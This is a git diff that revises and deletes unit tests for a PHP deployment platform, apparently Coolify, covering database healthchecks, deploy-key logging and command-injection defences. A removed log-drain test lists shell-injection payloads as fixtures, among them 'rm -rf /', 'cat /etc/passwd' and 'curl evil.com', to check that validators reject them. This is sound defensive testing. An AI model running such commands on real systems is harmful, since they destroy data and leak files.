─────────────────────────────────────────────────────────────── +test('mysql healthcheck passes the root password as an exec-form argument', function () { + $database = create_standalone_mysql($this->environment->id, $this->destination, [ + 'mysql_root_password' => HEALTHCHECK_INJECTION_PAYLOAD, + ]); -test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php'); - - expect($source)->not->toContain('CMD-SHELL'); - expect($source)->toContain("'CMD', 'clickhouse-client'"); + expect(startedDatabaseHealthcheck(StartMysql::class, $database)) + ->toBe(['CMD', 'mysqladmin', 'ping', '-h', 'localhost', '-u', 'root', '-p'.HEALTHCHECK_INJECTION_PAYLOAD]); }); -// ─── Verify unaffected databases still use their safe patterns ──────────────── +test('mariadb healthcheck uses the fixed healthcheck script without user fields', function () { + $database = create_standalone_mariadb($this->environment->id, $this->destination, [ + 'mariadb_user' => HEALTHCHECK_INJECTION_PAYLOAD, + 'mariadb_password' => HEALTHCHECK_INJECTION_PAYLOAD.'pw', + 'mariadb_root_password' => HEALTHCHECK_INJECTION_PAYLOAD.'root', + ]); -test('mysql healthcheck already uses CMD exec-form (no regression)', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php'); - - // MySQL already used CMD array form — ensure it stays that way - expect($source)->toContain("'CMD', 'mysqladmin'"); -}); - -test('mariadb healthcheck uses safe fixed script (no regression)', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php'); - - expect($source)->toContain('healthcheck.sh'); - // Must not have gained any user-field interpolation - expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i'); + expect(startedDatabaseHealthcheck(StartMariadb::class, $database)) + ->toBe(['CMD', 'healthcheck.sh', '--connect', '--innodb_initialized']); }); diff --git a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php b/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php deleted file mode 100644 index 22b7ec2adb..0000000000 --- a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php +++ /dev/null @@ -1,84 +0,0 @@ -toContain(...$expected) - ->not->toContain(...$unexpected); -})->with([ - 'clickhouse' => [ - 'StartClickhouse', - ['$this->resolvedClickhouseUser', '$this->resolvedClickhousePassword'], - ['$this->database->clickhouse_admin_user, \'--password\'', '$this->database->clickhouse_admin_password, \'--query\''], - ], - 'dragonfly' => [ - 'StartDragonfly', - ['$this->resolvedRedisPassword'], - ['$this->database->dragonfly_password, \'ping\'', 'requirepass {$this->database->dragonfly_password}'], - ], - 'keydb' => [ - 'StartKeydb', - ['$this->resolvedRedisPassword'], - ['$this->database->keydb_password, \'ping\'', 'requirepass {$this->database->keydb_password}'], - ], - 'mongodb' => [ - 'StartMongodb', - ['$this->resolvedMongoDatabase', '$this->resolvedMongoUsername', '$this->resolvedMongoPassword'], - ['json_encode($this->database->mongo_initdb_database', 'json_encode($this->database->mongo_initdb_root_username', 'json_encode($this->database->mongo_initdb_root_password'], - ], - 'mysql' => [ - 'StartMysql', - ['$this->resolvedMysqlRootPassword'], - ['-p{$this->database->mysql_root_password}'], - ], - 'postgresql' => [ - 'StartPostgresql', - ['$this->resolvedPostgresUser', '$this->resolvedPostgresDatabase'], - ['$this->database->postgres_user, \'-d\'', '$this->database->postgres_db, \'-c\''], - ], -]); - -it('runs database start commands without persisting them through remote process', function (string $action) { - $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php"); - - expect($source) - ->toContain('ExecutesDatabaseStartCommands') - ->toContain('executeDatabaseStartCommands(') - ->not->toContain('return remote_process('); -})->with([ - 'StartClickhouse', - 'StartDragonfly', - 'StartKeydb', - 'StartMariadb', - 'StartMongodb', - 'StartMysql', - 'StartPostgresql', - 'StartRedis', - 'StartSqlite', -]); - -it('queues database starts with identifiers instead of generated commands', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDatabase.php'); - - expect($source) - ->toContain('DatabaseStartJob::dispatch(') - ->not->toContain('StartPostgresql::run(') - ->not->toContain('StartRedis::run('); -}); - -it('keeps raw secret values separate from compose environment formatting', function (string $action, array $rawAssignments) { - $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php"); - - expect($source) - ->toContain('$rawValue = (string) $this->database->resolveSecretManagerEnvironmentVariableValue($env);') - ->toContain('$resolvedValue = (string) $this->database->formatEnvironmentVariableValue($env, $rawValue);') - ->toContain('$environment_variables->push($env->key.\'=\'.$resolvedValue);') - ->toContain(...$rawAssignments); -})->with([ - 'clickhouse' => ['StartClickhouse', ['$this->resolvedClickhouseUser = $composeFileValue;', '$this->resolvedClickhousePassword = $composeFileValue;']], - 'dragonfly' => ['StartDragonfly', ['$this->resolvedRedisPassword = $this->database->formatComposeFileValue($env, $rawValue);', '$this->requirePassArgument()']], - 'keydb' => ['StartKeydb', ['$this->resolvedRedisPassword = $this->database->formatComposeFileValue($env, $rawValue);', '$this->requirePassArgument()']], - 'mongodb' => ['StartMongodb', ['$this->resolvedMongoUsername = $rawValue;', '$this->resolvedMongoPassword = $rawValue;', '$this->resolvedMongoDatabase = $rawValue;', 'json_encode($this->resolvedMongoPassword']], - 'mysql' => ['StartMysql', ['$this->resolvedMysqlRootPassword = $composeFileValue;']], - 'postgresql' => ['StartPostgresql', ['$this->resolvedPostgresUser = $composeFileValue;', '$this->resolvedPostgresDatabase = $composeFileValue;']], -]); diff --git a/tests/Unit/DeployKeyDedicatedPathTest.php b/tests/Unit/DeployKeyDedicatedPathTest.php index e307c41d09..893cd52bd5 100644 --- a/tests/Unit/DeployKeyDedicatedPathTest.php +++ b/tests/Unit/DeployKeyDedicatedPathTest.php @@ -1,5 +1,6 @@ false]); + InstanceSettings::forceCreate(['id' => 0]); + $serverKey = PrivateKey::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $serverKey->team_id, + 'private_key_id' => $serverKey->id, + ]); + $deployKey = 'deploy-key-material-that-must-stay-secret'; + $application = new class extends Application + { + public function generateGitImportCommands(string $deployment_uuid, int $pull_request_id = 0, ?string $git_type = null, bool $exec_in_docker = true, bool $only_checkout = false, ?string $custom_base_dir = null, ?string $commit = null) + { + return ['commands' => collect(), 'branch' => 'main', 'fullRepoUrl' => 'git@gitlab.com:user/repo.git']; + } + }; + $stored = Application::factory()->create(['git_branch' => 'main']); + $application->setRawAttributes($stored->getAttributes(), true); + $application->exists = true; + $application->setRelation('settings', $stored->settings); + $application->setRelation('private_key', (new PrivateKey)->forceFill(['private_key' => $deployKey])); + $deployment = ApplicationDeploymentQueue::query()->create([ + 'application_id' => $application->id, + 'deployment_uuid' => 'test-deployment-uuid', + ]); + Process::fake(['*' => Process::result(output: 'done')]); + $job = new class extends ApplicationDeploymentJob + { + public function __construct() {} + }; + foreach ([ + 'application' => $application, + 'application_deployment_queue' => $deployment, + 'server' => $server, + 'deployment_uuid' => 'test-deployment-uuid', + 'pull_request_id' => 0, + 'commit' => 'HEAD', + 'rollback' => false, + 'git_type' => 'other', + 'customPort' => 22, + 'saved_outputs' => collect(), + ] as $property => $value) { + (new ReflectionProperty(ApplicationDeploymentJob::class, $property))->setValue($job, $value); + } - expect($commandPosition)->not->toBeFalse() - ->and(substr($source, $commandPosition, 200))->toContain("'skip_command_log' => true"); + (new ReflectionMethod(ApplicationDeploymentJob::class, 'check_git_if_build_needed'))->invoke($job); + + $encodedKey = base64_encode($deployKey); + $storedLogs = $deployment->refresh()->getRawOriginal('logs'); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), $encodedKey) && str_contains(remoteProcessScript($process), "base64 -d | tee {$keyPath}")); + expect($storedLogs) + ->toContain('git ls-remote') // hidden commands with output are logged, so the key is absent only because its command is skipped + ->not->toContain($encodedKey) + ->not->toContain($deployKey); }); it('supports skipping command log entries without adding a hidden command entry', function () { diff --git a/tests/Unit/DeploymentExceptionTest.php b/tests/Unit/DeploymentExceptionTest.php index 76168fe0c2..192e35faf0 100644 --- a/tests/Unit/DeploymentExceptionTest.php +++ b/tests/Unit/DeploymentExceptionTest.php @@ -3,32 +3,6 @@ use App\Exceptions\DeploymentException; use App\Exceptions\Handler; -test('DeploymentException is in the dontReport array', function () { - $handler = new Handler(app()); - - // Use reflection to access the protected $dontReport property - $reflection = new ReflectionClass($handler); - $property = $reflection->getProperty('dontReport'); - $property->setAccessible(true); - $dontReport = $property->getValue($handler); - - expect($dontReport)->toContain(DeploymentException::class); -}); - -test('DeploymentException can be created with a message', function () { - $exception = new DeploymentException('Test deployment error'); - - expect($exception->getMessage())->toBe('Test deployment error'); - expect($exception)->toBeInstanceOf(Exception::class); -}); - -test('DeploymentException can be created with a message and code', function () { - $exception = new DeploymentException('Test error', 69420); - - expect($exception->getMessage())->toBe('Test error'); - expect($exception->getCode())->toBe(69420); -}); - test('DeploymentException can be created from another exception', function () { $originalException = new RuntimeException('Original error', 500); $deploymentException = DeploymentException::fromException($originalException); diff --git a/tests/Unit/DockerComposeInjectionCompatibilityTest.php b/tests/Unit/DockerComposeInjectionCompatibilityTest.php index 609fdf2fcf..daf897b765 100644 --- a/tests/Unit/DockerComposeInjectionCompatibilityTest.php +++ b/tests/Unit/DockerComposeInjectionCompatibilityTest.php @@ -12,9 +12,7 @@ function composeTemplateFiles(): array } test('every service template passes the Compose injection validator', function (string $file) { - validateDockerComposeForInjection(file_get_contents($file)); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection(file_get_contents($file)))->not->toThrow(Exception::class); })->with(composeTemplateFiles()); test('the service template corpus is not empty', function () { @@ -22,9 +20,7 @@ test('the service template corpus is not empty', function () { }); test('realistic application Compose files pass the injection validator', function (string $compose) { - validateDockerComposeForInjection($compose); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class); })->with([ 'long syntax volumes, bind mounts and named volumes' => <<<'YAML' services: diff --git a/tests/Unit/DockerRemoveWithTimeoutTest.php b/tests/Unit/DockerRemoveWithTimeoutTest.php index 1f09ae06cb..858e77c93c 100644 --- a/tests/Unit/DockerRemoveWithTimeoutTest.php +++ b/tests/Unit/DockerRemoveWithTimeoutTest.php @@ -159,23 +159,6 @@ it('makes network removal idempotent without hiding other failures', function () rmdir($directory); }); -it('uses idempotent commands in strict cleanup paths', function () { - $root = dirname(__DIR__, 2); - - expect(file_get_contents($root.'/app/Jobs/DatabaseBackupJob.php')) - ->toContain('dockerRemoveCommand("backup-of-{$this->backup_log_uuid}")') - ->and(file_get_contents($root.'/app/Actions/Database/StopDatabaseProxy.php')) - ->toContain('dockerRemoveCommand("{$uuid}-proxy")') - ->and(file_get_contents($root.'/app/Actions/Destination/RemoveStandaloneDockerNetwork.php')) - ->toContain('dockerNetworkRemoveCommand($destination->network)') - ->and(file_get_contents($root.'/app/Livewire/Destination/Show.php')) - ->toContain('dockerNetworkRemoveCommand($this->destination->network)') - ->and(file_get_contents($root.'/app/Listeners/ProxyStatusChangedNotification.php')) - ->toContain("dockerRemoveCommand('coolify-proxy')") - ->and(file_get_contents($root.'/app/Actions/Application/StopApplicationOneServer.php')) - ->toContain('dockerRemoveCommand($containerName)'); -}); - it('configures deferred removal attempts to outlive the shell timeout', function () { $job = new RemoveContainerJob(123, 'container-name'); @@ -184,13 +167,3 @@ it('configures deferred removal attempts to outlive the shell timeout', function ->and($job->timeout)->toBeGreaterThan(60) ->and($job->tries)->toBeGreaterThan(1); }); - -it('continues deployments and schedules deferred cleanup after a removal timeout', function () { - $source = file_get_contents(dirname(__DIR__, 2).'/app/Jobs/ApplicationDeploymentJob.php'); - - expect($source) - ->toContain('dockerRemoveCommandWithTimeout($containerName)') - ->toContain('timed out after 60 seconds. The deployment will continue') - ->toContain('RemoveContainerJob::dispatch($this->server->id, $containerName)') - ->toContain('->delay(now()->addMinutes(5))'); -}); diff --git a/tests/Unit/DockerfileArgInsertionTest.php b/tests/Unit/DockerfileArgInsertionTest.php index b6a014f7d2..6786a2791c 100644 --- a/tests/Unit/DockerfileArgInsertionTest.php +++ b/tests/Unit/DockerfileArgInsertionTest.php @@ -3,7 +3,7 @@ use App\Jobs\ApplicationDeploymentJob; /** - * Test the Dockerfile ARG insertion logic + * Test how the deployment job finds the FROM instructions where it inserts ARGs * This tests the fix for GitHub issue #7118 */ it('finds FROM instructions in simple dockerfile', function () { @@ -128,78 +128,6 @@ it('uses the escape parser directive for continuation lines', function () { expect($job->findFromInstructionLines($dockerfile))->toBe([1, 4]); }); -it('inserts ARGs after FROM in simple dockerfile', function () { - $dockerfile = collect([ - 'FROM node:16', - 'WORKDIR /app', - 'COPY . .', - ]); - - $fromLines = [0]; - $argsToInsert = collect(['ARG MY_VAR=value', 'ARG ANOTHER_VAR']); - - foreach (array_reverse($fromLines) as $fromLineIndex) { - foreach ($argsToInsert->reverse() as $arg) { - $dockerfile->splice($fromLineIndex + 1, 0, [$arg]); - } - } - - expect($dockerfile[0])->toBe('FROM node:16'); - expect($dockerfile[1])->toBe('ARG MY_VAR=value'); - expect($dockerfile[2])->toBe('ARG ANOTHER_VAR'); - expect($dockerfile[3])->toBe('WORKDIR /app'); -}); - -it('inserts ARGs after each FROM in multi-stage dockerfile', function () { - $dockerfile = collect([ - 'FROM node:16 AS builder', - 'WORKDIR /app', - '', - 'FROM nginx:alpine', - 'COPY --from=builder /app/dist /usr/share/nginx/html', - ]); - - $fromLines = [0, 3]; - $argsToInsert = collect(['ARG MY_VAR=value']); - - foreach (array_reverse($fromLines) as $fromLineIndex) { - foreach ($argsToInsert->reverse() as $arg) { - $dockerfile->splice($fromLineIndex + 1, 0, [$arg]); - } - } - - // First stage - expect($dockerfile[0])->toBe('FROM node:16 AS builder'); - expect($dockerfile[1])->toBe('ARG MY_VAR=value'); - expect($dockerfile[2])->toBe('WORKDIR /app'); - - // Second stage (index shifted by +1 due to inserted ARG) - expect($dockerfile[4])->toBe('FROM nginx:alpine'); - expect($dockerfile[5])->toBe('ARG MY_VAR=value'); -}); - -it('inserts ARGs after FROM when comments precede FROM', function () { - $dockerfile = collect([ - '# Build stage comment', - 'FROM node:16', - 'WORKDIR /app', - ]); - - $fromLines = [1]; - $argsToInsert = collect(['ARG MY_VAR=value']); - - foreach (array_reverse($fromLines) as $fromLineIndex) { - foreach ($argsToInsert->reverse() as $arg) { - $dockerfile->splice($fromLineIndex + 1, 0, [$arg]); - } - } - - expect($dockerfile[0])->toBe('# Build stage comment'); - expect($dockerfile[1])->toBe('FROM node:16'); - expect($dockerfile[2])->toBe('ARG MY_VAR=value'); - expect($dockerfile[3])->toBe('WORKDIR /app'); -}); - it('handles real-world nuxt multi-stage dockerfile with comments', function () { $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); @@ -240,27 +168,5 @@ it('handles real-world nuxt multi-stage dockerfile with comments', function () { 'CMD ["node", "/app/server/index.mjs"]', ]); - // Find FROM instructions - $fromLines = $job->findFromInstructionLines($dockerfile); - - expect($fromLines)->toBe([2, 21]); - - // Simulate ARG insertion - $argsToInsert = collect(['ARG BUILD_VAR=production']); - - foreach (array_reverse($fromLines) as $fromLineIndex) { - foreach ($argsToInsert->reverse() as $arg) { - $dockerfile->splice($fromLineIndex + 1, 0, [$arg]); - } - } - - // Verify first stage - expect($dockerfile[2])->toBe('FROM node:22-alpine AS build'); - expect($dockerfile[3])->toBe('ARG BUILD_VAR=production'); - expect($dockerfile[4])->toBe('WORKDIR /app'); - - // Verify second stage (index shifted by +1 due to first ARG insertion) - expect($dockerfile[22])->toBe('FROM node:22-alpine'); - expect($dockerfile[23])->toBe('ARG BUILD_VAR=production'); - expect($dockerfile[24])->toBe('WORKDIR /app'); + expect($job->findFromInstructionLines($dockerfile))->toBe([2, 21]); }); diff --git a/tests/Unit/EnvironmentVariableFillableTest.php b/tests/Unit/EnvironmentVariableFillableTest.php deleted file mode 100644 index 8c5f68b210..0000000000 --- a/tests/Unit/EnvironmentVariableFillableTest.php +++ /dev/null @@ -1,72 +0,0 @@ -getFillable(); - - // Core identification - expect($fillable)->toContain('key') - ->toContain('value') - ->toContain('comment'); - - // Polymorphic relationship - expect($fillable)->toContain('resourceable_type') - ->toContain('resourceable_id'); - - // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls - expect($fillable)->toContain('is_preview') - ->toContain('is_multiline') - ->toContain('is_literal') - ->toContain('is_runtime') - ->toContain('is_buildtime') - ->toContain('is_shown_once') - ->toContain('is_shared') - ->toContain('is_required'); - - // Metadata - expect($fillable)->toContain('version') - ->toContain('order'); -}); - -test('is_required can be mass assigned', function () { - $model = new EnvironmentVariable; - $model->fill(['is_required' => true]); - - expect($model->is_required)->toBeTrue(); -}); - -test('all boolean flags can be mass assigned', function () { - $booleanFlags = [ - 'is_preview', - 'is_multiline', - 'is_literal', - 'is_runtime', - 'is_buildtime', - 'is_shown_once', - 'is_required', - ]; - - $model = new EnvironmentVariable; - $model->fill(array_fill_keys($booleanFlags, true)); - - foreach ($booleanFlags as $flag) { - expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true"); - } - - // is_shared has a computed getter derived from the value field, - // so verify it's fillable via the underlying attributes instead - $model2 = new EnvironmentVariable; - $model2->fill(['is_shared' => true]); - expect($model2->getAttributes())->toHaveKey('is_shared'); -}); - -test('non-fillable fields are rejected by mass assignment', function () { - $model = new EnvironmentVariable; - $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']); - - expect($model->id)->toBeNull() - ->and($model->uuid)->toBeNull() - ->and($model->created_at)->toBeNull(); -}); diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php index 181d9d95d5..04a2747750 100644 --- a/tests/Unit/FileStorageSecurityTest.php +++ b/tests/Unit/FileStorageSecurityTest.php @@ -182,24 +182,6 @@ test('confined path resolver rejects paths that escape the resource configuratio 'service dot segment' => ['/data/coolify/services/service-uuid', '/./config.yaml'], ]); -test('local file volume write sink keeps saved managed file paths for compatibility', function () { - $source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php'); - - expect($source)->toContain('confinePathToBase($workdir, $path->value(), \'storage path\')') - ->and($source)->toContain('assertRemotePathIsConfined') - ->and($source)->toContain('tee {$escapedPath}'); -}); - -test('file storage quotes owner and mode as single command arguments', function () { - $source = file_get_contents(__DIR__.'/../../app/Models/LocalFileVolume.php'); - - expect($source) - ->toContain("'chown -- '.escapeshellarg(\$chown).\" {\$escapedPath}\"") - ->toContain("'chmod -- '.escapeshellarg(\$chmod).\" {\$escapedPath}\"") - ->not->toContain('"chown $chown {$escapedPath}"') - ->not->toContain('"chmod $chmod {$escapedPath}"'); -}); - test('file storage permissions cannot be set by mass assignment', function () { $volume = new LocalFileVolume; $volume->fill(['chown' => 'root', 'chmod' => '777']); diff --git a/tests/Unit/GitlabSourceCommandsTest.php b/tests/Unit/GitlabSourceCommandsTest.php index ca95f50561..a6e76ec539 100644 --- a/tests/Unit/GitlabSourceCommandsTest.php +++ b/tests/Unit/GitlabSourceCommandsTest.php @@ -117,33 +117,6 @@ it('generates ls-remote commands for GitLab source without private key', functio expectGitlabCommandListNotToContain($result['commands'], 'id_rsa'); }); -it('does not return null for GitLab source type', function () { - $deploymentUuid = 'test-deployment-uuid'; - - $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); - $gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class); - $gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com'); - $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null); - $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); - $gitlabSource->shouldReceive('getAttribute')->with('access_token')->andReturn(null); - $gitlabSource->shouldReceive('getAttribute')->with('refresh_token')->andReturn(null); - $gitlabSource->shouldReceive('isConnected')->andReturn(false); - - $application = Mockery::mock(Application::class)->makePartial(); - $application->git_branch = 'main'; - $application->shouldReceive('deploymentType')->andReturn('source'); - $application->shouldReceive('customRepository')->andReturn([ - 'repository' => 'https://gitlab.com/user/repo.git', - 'port' => 22, - ]); - $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); - $application->source = $gitlabSource; - - $lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false); - expect($lsRemoteResult)->not->toBeNull(); - expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']); -}); - it('preserves custom GitLab http port for connected OAuth sources', function () { $deploymentUuid = 'test-deployment-uuid'; @@ -185,6 +158,7 @@ it('applies OAuth git config to GitLab merge-request fetch and submodule checkou $settings = (object) [ 'is_git_shallow_clone_enabled' => false, 'is_git_submodules_enabled' => true, + 'is_git_lfs_enabled' => false, ]; $application = Mockery::mock(Application::class)->makePartial(); @@ -233,6 +207,7 @@ it('uses a GitLab source private key only when it belongs to the source team', f $application->shouldReceive('getAttribute')->with('settings')->andReturn((object) [ 'is_git_shallow_clone_enabled' => false, 'is_git_submodules_enabled' => false, + 'is_git_lfs_enabled' => false, ]); $application->source = $gitlabSource; diff --git a/tests/Unit/GlobalSearchNewImageQuickActionTest.php b/tests/Unit/GlobalSearchNewImageQuickActionTest.php deleted file mode 100644 index 77c205b903..0000000000 --- a/tests/Unit/GlobalSearchNewImageQuickActionTest.php +++ /dev/null @@ -1,12 +0,0 @@ -not->toContain('$item[\'logo_html\']') - ->not->toContain('x-html="item.logo_html"'); - - expect($globalSearchFile)->not->toContain("'logo_html' =>"); -}); diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php index a6e9e1b41f..3683e14643 100644 --- a/tests/Unit/HealthCheckCommandInjectionTest.php +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -309,32 +309,6 @@ it('uses sanitized method in full_healthcheck_url display', function () { ->and($result)->not->toContain('evil'); }); -it('validates healthCheckCommand rejects strings over 1000 characters', function () { - $rules = [ - 'healthCheckCommand' => 'nullable|string|max:1000', - ]; - - $validator = Validator::make( - ['healthCheckCommand' => str_repeat('a', 1001)], - $rules - ); - - expect($validator->fails())->toBeTrue(); -}); - -it('validates healthCheckCommand accepts strings under 1000 characters', function () { - $rules = [ - 'healthCheckCommand' => 'nullable|string|max:1000', - ]; - - $validator = Validator::make( - ['healthCheckCommand' => 'pg_isready -U postgres'], - $rules - ); - - expect($validator->fails())->toBeFalse(); -}); - /** * Helper: Invokes the private generate_healthcheck_commands() method via reflection. */ diff --git a/tests/Unit/HostingerIconTest.php b/tests/Unit/HostingerIconTest.php deleted file mode 100644 index bbb84c6fb9..0000000000 --- a/tests/Unit/HostingerIconTest.php +++ /dev/null @@ -1,10 +0,0 @@ -toContain('viewBox="0 0 26 30"') - ->toContain('M0.000249566 14.046V0.000497794') - ->toContain('Hostinger'); -}); diff --git a/tests/Unit/LivewireInternalRedirectTest.php b/tests/Unit/LivewireInternalRedirectTest.php deleted file mode 100644 index ef9b98f58c..0000000000 --- a/tests/Unit/LivewireInternalRedirectTest.php +++ /dev/null @@ -1,36 +0,0 @@ -toContain($redirect); - } -})->with([ - 'S3 storage' => [ - 'app/Livewire/Storage/Show.php', - ["redirectRoute(\$this, 'storage.index')"], - ], - 'database backup schedule' => [ - 'app/Livewire/Project/Database/BackupEdit.php', - [ - "redirectRoute(\$this, 'project.service.database.backups'", - "redirectRoute(\$this, 'project.database.backup.index'", - ], - ], - 'GitHub source' => [ - 'app/Livewire/Source/Github/Change.php', - ["redirectRoute(\$this, 'source.all')"], - ], - 'GitLab source' => [ - 'app/Livewire/Source/Gitlab/Change.php', - ["redirectRoute(\$this, 'source.all')"], - ], - 'service resources' => [ - 'app/Livewire/Project/Service/Index.php', - [ - "return redirectRoute(\$this, 'project.service.configuration', \$this->parameters);", - "return redirectRoute(\$this, 'project.service.configuration', \$redirectParams);", - ], - ], -]); diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php deleted file mode 100644 index c7218bbd86..0000000000 --- a/tests/Unit/LogDrainCommandInjectionTest.php +++ /dev/null @@ -1,108 +0,0 @@ -/tmp/pwned)'; - - $server = mock(Server::class)->makePartial(); - $settings = mock(ServerSetting::class)->makePartial(); - - $settings->is_logdrain_axiom_enabled = true; - $settings->is_logdrain_newrelic_enabled = false; - $settings->is_logdrain_custom_enabled = false; - $settings->logdrain_axiom_dataset_name = 'test-dataset'; - $settings->logdrain_axiom_api_key = $maliciousPayload; - - $server->name = 'test-server'; - $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings); - - // Build the env content the same way StartLogDrain does after the fix - $envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n"; - $envEncoded = base64_encode($envContent); - - // The malicious payload must NOT appear directly in the encoded string - // (it's inside the base64 blob, which the shell treats as opaque data) - expect($envEncoded)->not->toContain($maliciousPayload); - - // Verify the decoded content preserves the value exactly - $decoded = base64_decode($envEncoded); - expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}"); -}); - -it('does not interpolate newrelic license key into shell commands', function () { - $maliciousPayload = '`rm -rf /`'; - - $envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n"; - $envEncoded = base64_encode($envContent); - - expect($envEncoded)->not->toContain($maliciousPayload); - - $decoded = base64_decode($envEncoded); - expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}"); -}); - -it('produces correct env file content for axiom type', function () { - $datasetName = 'my-dataset'; - $apiKey = 'xaat-abc123-def456'; - - $envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n"; - $decoded = base64_decode(base64_encode($envContent)); - - expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n"); -}); - -it('produces correct env file content for newrelic type', function () { - $licenseKey = 'nr-license-123'; - $baseUri = 'https://log-api.newrelic.com/log/v1'; - - $envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n"; - $decoded = base64_decode(base64_encode($envContent)); - - expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n"); -}); - -// ------------------------------------------------------------------------- -// Validation layer: reject shell metacharacters -// ------------------------------------------------------------------------- - -it('rejects shell metacharacters in log drain fields', function (string $payload) { - // These payloads should NOT match the safe regex pattern - $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; - - expect(preg_match($pattern, $payload))->toBe(0); -})->with([ - '$(id)', - '`id`', - 'key;rm -rf /', - 'key|cat /etc/passwd', - 'key && whoami', - 'key$(curl evil.com)', - "key\nnewline", - 'key with spaces', - 'key>file', - 'key/tmp/coolify_poc_logdrain)', -]); - -it('accepts valid log drain field values', function (string $value) { - $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; - - expect(preg_match($pattern, $value))->toBe(1); -})->with([ - 'xaat-abc123-def456', - 'my-dataset', - 'my_dataset', - 'simple123', - 'nr-license.key_v2', - 'project-id-123', -]); diff --git a/tests/Unit/LogTimestampDisplayTest.php b/tests/Unit/LogTimestampDisplayTest.php deleted file mode 100644 index d2846065eb..0000000000 --- a/tests/Unit/LogTimestampDisplayTest.php +++ /dev/null @@ -1,9 +0,0 @@ -toContain("->format('Y-M-d H:i:s')") - ->not->toContain("->format('Y-M-d H:i:s.u')"); -}); diff --git a/tests/Unit/LogViewerXssSecurityTest.php b/tests/Unit/LogViewerXssSecurityTest.php index 4243b2d94b..39dc248e8b 100644 --- a/tests/Unit/LogViewerXssSecurityTest.php +++ b/tests/Unit/LogViewerXssSecurityTest.php @@ -1,17 +1,5 @@ toContain('data-log-content="{{ $searchableContent }}"') - ->toContain('data-line-text="{{ $lineContent }}"') - ->not->toContain('data-log-content="{{ htmlspecialchars($searchableContent) }}"') - ->not->toContain('data-line-text="{{ htmlspecialchars($lineContent) }}"'); - }); -}); - describe('Log Viewer XSS Prevention', function () { it('uses text nodes for search highlighting instead of injected html', function () { $deploymentView = file_get_contents(__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php'); diff --git a/tests/Unit/NotifyOutdatedTraefikServersJobTest.php b/tests/Unit/NotifyOutdatedTraefikServersJobTest.php deleted file mode 100644 index cbe97bab69..0000000000 --- a/tests/Unit/NotifyOutdatedTraefikServersJobTest.php +++ /dev/null @@ -1,48 +0,0 @@ -makePartial(); - $server->traefik_outdated_info = null; - - // Accessing the property should not throw an error - $result = $server->traefik_outdated_info; - - expect($result)->toBeNull(); -}); - -it('handles servers with traefik_outdated_info data', function () { - $expectedInfo = [ - 'current' => '3.5.0', - 'latest' => '3.6.2', - 'type' => 'minor_upgrade', - 'upgrade_target' => 'v3.6', - 'checked_at' => '2025-11-14T10:00:00Z', - ]; - - $server = Mockery::mock('App\Models\Server')->makePartial(); - $server->traefik_outdated_info = $expectedInfo; - - // Should return the outdated info - $result = $server->traefik_outdated_info; - - expect($result)->toBe($expectedInfo); -}); - -it('handles servers with patch update info without upgrade_target', function () { - $expectedInfo = [ - 'current' => '3.5.0', - 'latest' => '3.5.2', - 'type' => 'patch_update', - 'checked_at' => '2025-11-14T10:00:00Z', - ]; - - $server = Mockery::mock('App\Models\Server')->makePartial(); - $server->traefik_outdated_info = $expectedInfo; - - // Should return the outdated info without upgrade_target - $result = $server->traefik_outdated_info; - - expect($result)->toBe($expectedInfo); - expect($result)->not->toHaveKey('upgrade_target'); -}); diff --git a/tests/Unit/Policies/EnvironmentPolicyTest.php b/tests/Unit/Policies/EnvironmentPolicyTest.php index 22c4ba86d8..6a000cb1d9 100644 --- a/tests/Unit/Policies/EnvironmentPolicyTest.php +++ b/tests/Unit/Policies/EnvironmentPolicyTest.php @@ -102,18 +102,6 @@ it('denies team member to update their own team 